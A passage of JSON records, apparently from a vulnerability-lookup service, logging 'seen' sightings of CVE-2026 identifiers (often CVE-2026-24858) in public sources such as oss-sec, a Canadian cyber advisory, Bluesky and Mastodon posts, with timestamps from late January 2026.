"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24881", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/127", "content": "", "creation_timestamp": "2026-01-27T19:21:47.000000Z"}, {"uuid": "b9e6acad-8513-4524-ae9a-bd2dbe020c68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24882", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/127", "content": "", "creation_timestamp": "2026-01-27T19:21:47.000000Z"}, {"uuid": "d2737e95-9489-43a5-a923-520ad8e083fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24883", "type": "seen", "source": "https://seclists.org/oss-sec/2026/q1/127", "content": "", "creation_timestamp": "2026-01-27T19:21:47.000000Z"}, {"uuid": "e2811de4-7f27-458d-9437-875711653fbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cyber-fortinet-security-advisory-av26-059", "content": "", "creation_timestamp": "2026-01-27T20:44:41.000000Z"}, {"uuid": "ec408d7b-c775-484d-8ddf-cf5602669cc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24778", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdguh2dteg2a", "content": "", "creation_timestamp": "2026-01-27T23:01:21.012937Z"}, {"uuid": "8e8eb66d-9cad-4681-af99-6a3ad7a01ba5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24783", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdguhb3hgn2g", "content": "", "creation_timestamp": "2026-01-27T23:01:28.106497Z"}, {"uuid": "4c03de86-7856-4841-b763-d82a778a82f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24741", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdguhioaho2m", "content": "", "creation_timestamp": "2026-01-27T23:01:36.096339Z"}, {"uuid": "d6cff9e2-d3df-48c1-a9b0-ed041918d5be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24747", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdguifixce25", "content": "", "creation_timestamp": "2026-01-27T23:02:06.363821Z"}, {"uuid": "4ac567b9-6c88-47f3-ad88-a01fdabad090", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdguimbyxo2a", "content": "", "creation_timestamp": "2026-01-27T23:02:13.177223Z"}, {"uuid": "78f8d951-9af2-49ef-a862-c8e55f7aa4e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24770", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdguitgkzk23", "content": "", "creation_timestamp": "2026-01-27T23:02:20.868323Z"}, {"uuid": "16b685aa-1a5a-4290-a2e3-672728724ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24747", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdgujasel22x", "content": "", "creation_timestamp": "2026-01-27T23:02:34.762894Z"}, {"uuid": "d23eca3c-8a80-40cc-a79a-5a2ed153e3ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24765", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdgujhxatw27", "content": "", "creation_timestamp": "2026-01-27T23:02:42.317104Z"}, {"uuid": "63921869-b38c-49ae-9efe-40267d5a8534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24770", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdgujpao542o", "content": "", "creation_timestamp": "2026-01-27T23:02:49.954253Z"}, {"uuid": "3bf2940b-611d-4df9-8446-3243e1722d19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mdgvigtcaf2a", "content": "", "creation_timestamp": "2026-01-27T23:20:01.084938Z"}, {"uuid": "d3f436bc-8079-44b9-90e1-6606bc1fd3ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mdgvzmayi32o", "content": "", "creation_timestamp": "2026-01-27T23:29:37.021436Z"}, {"uuid": "5844ce4e-caef-46fb-8a60-ed8c5ca0d5cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24858", "type": "seen", "source": "https://infosec.exchange/users/defendopsdiaries/statuses/115969673188892982", "content": "", "creation_timestamp": "2026-01-27T23:33:01.671605Z"}, {"uuid": "66da8beb-2fab-4256-ab6f-0d21564d9f3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24740", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdgwd7e5ao2c", "content": "", "creation_timestamp": "2026-01-27T23:34:59.102181Z"}, {"uuid": "a799af99-94ef-4cde-b788-acd054b3dc22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mdgwv5wkwy2o", "content": "", "creation_timestamp": "2026-01-27T23:45:01.719216Z"}, {"uuid": "51f23f5c-ba0b-44c3-b978-d2bf6175701e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://infosec.exchange/users/DarkWebInformer/statuses/115969785847265606", "content": "", "creation_timestamp": "2026-01-28T00:01:40.821976Z"}, {"uuid": "c00975c8-a4dc-40a7-ab6b-ac655bb506bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24837", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdh2diykv32x", "content": "", "creation_timestamp": "2026-01-28T00:46:45.048137Z"}, {"uuid": "5d101948-ea15-4eb6-9fae-9f50b0c93e11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24833", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdh2dx3cge2v", "content": "", "creation_timestamp": "2026-01-28T00:46:59.612326Z"}, {"uuid": "eccf6f03-cac2-4f3c-a97e-f60814d0e977", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24837", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdh2ecet242g", "content": "", "creation_timestamp": "2026-01-28T00:47:11.361074Z"}, {"uuid": "c8a54eca-574b-45da-8995-f67f0b10b34b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24833", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdh2esty4d23", "content": "", "creation_timestamp": "2026-01-28T00:47:28.548057Z"}, {"uuid": "cb87075a-3219-4cad-a9ca-4d74853a5218", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24836", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdh2nj27qg2m", "content": "", "creation_timestamp": "2026-01-28T00:52:20.653956Z"}, {"uuid": "628ef8ac-9740-4f8a-a9b2-a4240106717a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24838", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh3w62gcs2j", "content": "", "creation_timestamp": "2026-01-28T01:15:08.282095Z"}, {"uuid": "18f06c3b-c2ad-468c-9b77-c0c6880c2652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24841", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh3yxfaqc26", "content": "", "creation_timestamp": "2026-01-28T01:16:37.584270Z"}, {"uuid": "d0134401-dd56-458b-946a-16326bec6c25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24839", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh43s2eo32t", "content": "", "creation_timestamp": "2026-01-28T01:18:12.640788Z"}, {"uuid": "804df6e0-58e2-494a-82dc-d5345edb88a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24784", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh4bx2kkn2t", "content": "", "creation_timestamp": "2026-01-28T01:21:39.275082Z"}, {"uuid": "eb068a52-59be-465f-aa5c-90a5febd33d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24850", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh4fdbyas2m", "content": "", "creation_timestamp": "2026-01-28T01:23:32.914849Z"}, {"uuid": "f8b576b6-f07d-4a8b-95a5-d9ffe5d89490", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24840", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh4iw53nu2t", "content": "", "creation_timestamp": "2026-01-28T01:25:33.758077Z"}, {"uuid": "5d8afe11-0816-4478-bca5-0659607b5e29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24852", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh4mr4pfb23", "content": "", "creation_timestamp": "2026-01-28T01:27:42.382689Z"}, {"uuid": "95505944-c49f-4d76-8202-6cdf95f92c3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24842", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh4qvlwf72t", "content": "", "creation_timestamp": "2026-01-28T01:30:01.087960Z"}, {"uuid": "8d62e1d0-aa89-4892-af9d-961ee68e0f1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24910", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh52bzghh2c", "content": "", "creation_timestamp": "2026-01-28T01:35:16.052883Z"}, {"uuid": "7ff61303-fa47-4710-bcb7-02f57df806f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24833", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh57nz2ru2g", "content": "", "creation_timestamp": "2026-01-28T01:38:16.374756Z"}, {"uuid": "a4c3edd6-be67-4f13-be02-4f80275af660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24836", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh5fn33kj2c", "content": "", "creation_timestamp": "2026-01-28T01:41:36.914404Z"}, {"uuid": "b20d002d-146c-44eb-a3ca-711652e2a3e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24837", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh5mdxrv62i", "content": "", "creation_timestamp": "2026-01-28T01:45:22.167370Z"}, {"uuid": "4859be05-cfb3-4080-b9ba-f03fd8932269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24909", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh5tzjjj42c", "content": "", "creation_timestamp": "2026-01-28T01:49:39.669488Z"}, {"uuid": "ba6bb7aa-6cb8-4a83-bb44-141d06f2597c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24785", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh6fwfcei2n", "content": "", "creation_timestamp": "2026-01-28T01:59:40.438693Z"}, {"uuid": "c7497ce4-ab12-4361-beb4-a5084c4b4022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24838", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdh6hveufm2r", "content": "", "creation_timestamp": "2026-01-28T02:00:46.746055Z"}, {"uuid": "5bc0ee29-43d8-4cf8-84a8-41ea07cc4192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24881", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mdh6itl5oz2q", "content": "", "creation_timestamp": "2026-01-28T02:01:17.826560Z"}, {"uuid": "30453891-da31-4612-ad02-1aba5f53d5b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24882", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mdh6itl5oz2q", "content": "", "creation_timestamp": "2026-01-28T02:01:17.912288Z"}, {"uuid": "7e254eaa-4c5c-4422-95ec-85dd31c071ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24883", "type": "seen", "source": "https://bsky.app/profile/slackers.it/post/3mdh6itl5oz2q", "content": "", "creation_timestamp": "2026-01-28T02:01:17.990477Z"}, {"uuid": "73f70ba3-182d-4cdd-8b04-2cf369b14c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24838", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdh6jdid452g", "content": "", "creation_timestamp": "2026-01-28T02:01:35.077990Z"}, {"uuid": "3a5c82a4-665b-44b6-833c-eff5ce57e847", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24840", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdh6jks3bm2m", "content": "", "creation_timestamp": "2026-01-28T02:01:43.065210Z"}, {"uuid": "2b9206ab-48fd-4057-943b-321fbf2fd474", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24841", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mdh6lhjww223", "content": "", "creation_timestamp": "2026-01-28T02:02:47.300431Z"}, {"uuid": "05aad738-14d2-4c80-9a02-0045b16043e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24134", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdh6ousoox2c", "content": "", "creation_timestamp": "2026-01-28T02:04:40.697917Z"}, {"uuid": "b4702f6c-5498-49da-8bec-da976bdd6491", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdh7xqbwwa2y", "content": "", "creation_timestamp": "2026-01-28T02:27:31.683260Z"}, {"uuid": "60e3c64f-8943-4bc3-bfc4-84fb0f7e443b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mdh7xqbwwa2y", "content": "", "creation_timestamp": "2026-01-28T02:27:31.944898Z"}, {"uuid": "0a1bfa3d-d97b-4f89-bae0-178da491e57f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24423", "type": "seen", "source": "https://bsky.app/profile/cyber-news-fi.bsky.social/post/3mdhey7u2rv2x", "content": "", "creation_timestamp": "2026-01-28T03:57:16.659177Z"}, {"uuid": "3296ada9-d3d5-46a0-9232-2c92f58e525b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mdhf6zavmg2c", "content": "", "creation_timestamp": "2026-01-28T04:01:04.868006Z"}, {"uuid": "235f491f-c922-4ed0-9077-3bc6b9912a3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mdhieu2e6y23", "content": "", "creation_timestamp": "2026-01-28T04:58:01.614608Z"}, {"uuid": "4d54ad72-a80d-4151-8f59-10d36b324391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/cybersentinel404.bsky.social/post/3mdhio37jdh2k", "content": "", "creation_timestamp": "2026-01-28T05:03:11.362493Z"}, {"uuid": "3caa56d5-e0a4-4e7c-b393-21db5b453e1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mdhiwrrsfy2l", "content": "", "creation_timestamp": "2026-01-28T05:08:08.257486Z"}, {"uuid": "b69fd45b-cb31-4b8e-af68-2aa269c6e7c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24859", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdhjc2choo26", "content": "", "creation_timestamp": "2026-01-28T05:14:21.266948Z"}, {"uuid": "ac9adc48-ac06-4021-b2d9-6c6de0e1a6e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mdhjioeex42j", "content": "", "creation_timestamp": "2026-01-28T05:18:04.254757Z"}, {"uuid": "8b706130-1255-45ac-bdbb-562bc7ea499e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24860", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdhjkypwnw2j", "content": "", "creation_timestamp": "2026-01-28T05:19:21.836016Z"}, {"uuid": "492421f0-4283-41a0-be28-6971fac3aea6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24863", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdhjmsartc2t", "content": "", "creation_timestamp": "2026-01-28T05:20:22.167409Z"}, {"uuid": "c35f7db3-6cde-44f2-89d4-957ac8b98cdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24861", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdhjs6a3m22i", "content": "", "creation_timestamp": "2026-01-28T05:23:22.296056Z"}, {"uuid": "15d5f595-12a2-40a4-85b2-cd42edb94b33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24864", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdhk6u7zor2i", "content": "", "creation_timestamp": "2026-01-28T05:30:28.462543Z"}, {"uuid": "0736126e-85ce-4bf3-92ec-e7b970b71f5c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mdhkdimagd23", "content": "", "creation_timestamp": "2026-01-28T05:33:07.677596Z"}, {"uuid": "77d28764-e9f8-4744-8bd4-53fa789ab0fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24865", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdhkgjsoj32m", "content": "", "creation_timestamp": "2026-01-28T05:34:45.818064Z"}, {"uuid": "36422bd1-e539-4bb4-a83e-6409c98c9161", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24858", "type": "seen", "source": "https://social.circl.lu/users/circl/statuses/115971103833516784", "content": "", "creation_timestamp": "2026-01-28T05:36:51.808231Z"}, {"uuid": "d0ede501-63a5-4370-bf66-a4199c3ee76c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24867", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdhkpiavlw2n", "content": "", "creation_timestamp": "2026-01-28T05:39:45.937165Z"}, {"uuid": "fa800476-fd8b-4ae3-9036-c9090102334e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24866", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdhkygp2xs2i", "content": "", "creation_timestamp": "2026-01-28T05:44:46.361953Z"}, {"uuid": "03a33308-eb86-45e9-b6a5-ffc071c355b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24862", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mdhlbf4vbq2r", "content": "", "creation_timestamp": "2026-01-28T05:49:46.660998Z"}, {"uuid": "1d05bd57-1a9f-4fb8-9008-f2045195370d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mdhloxnbod42", "content": "", "creation_timestamp": "2026-01-28T05:57:25.303196Z"}, {"uuid": "d080cce5-6a9e-49f0-8982-107e8b37be61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/redhotcyber.bsky.social/post/3mdhn3v766b2f", "content": "", "creation_timestamp": "2026-01-28T06:22:29.970287Z"}, {"uuid": "c4dfc796-b5ca-43ae-ba30-690bc9df4127", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24858", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mdhnxhp7qc2j", "content": "", "creation_timestamp": "2026-01-28T06:39:23.459122Z"}, {"uuid": "5f492177-2e8f-4307-9a04-7c2aa8abafde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://thehackernews.com/2026/01/fortinet-patches-cve-2026-24858-after.html", "content": "", "creation_timestamp": "2026-01-28T03:49:00.000000Z"}, {"uuid": "63238c9f-1342-4b41-a26d-24152dc05648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-24858", "type": "seen", "source": "https://bsky.app/profile/techneiro.bsky.social/post/3mdht4qq74d2a", "content": "", "creation_timestamp": "2026-01-28T08:10:21.048774Z"}, {"uuid": "cff9771b-448c-4ca3-8cf4-dbeb470db610", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mdhtrbp4wx2z", "content": "", "creation_timestamp": "2026-01-28T08:21:50.524888Z"}, {"uuid": "5b95700e-7e01-4d96-8250-f334b7a87a5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/it-connect.bsky.social/post/3mdhvyyzqy22e", "content": "", "creation_timestamp": "2026-01-28T09:01:57.489596Z"}, {"uuid": "387d8c63-f6ca-4cb8-8606-717c581bc9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "seen", "source": "https://bsky.app/profile/sctocs.bsky.social/post/3mdhw3tlu3k2k", "content": "", "creation_timestamp": "2026-01-28T09:03:33.099468Z"}, {"uuid": "cb608910-5a80-4819-adaf-c1a675570390", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 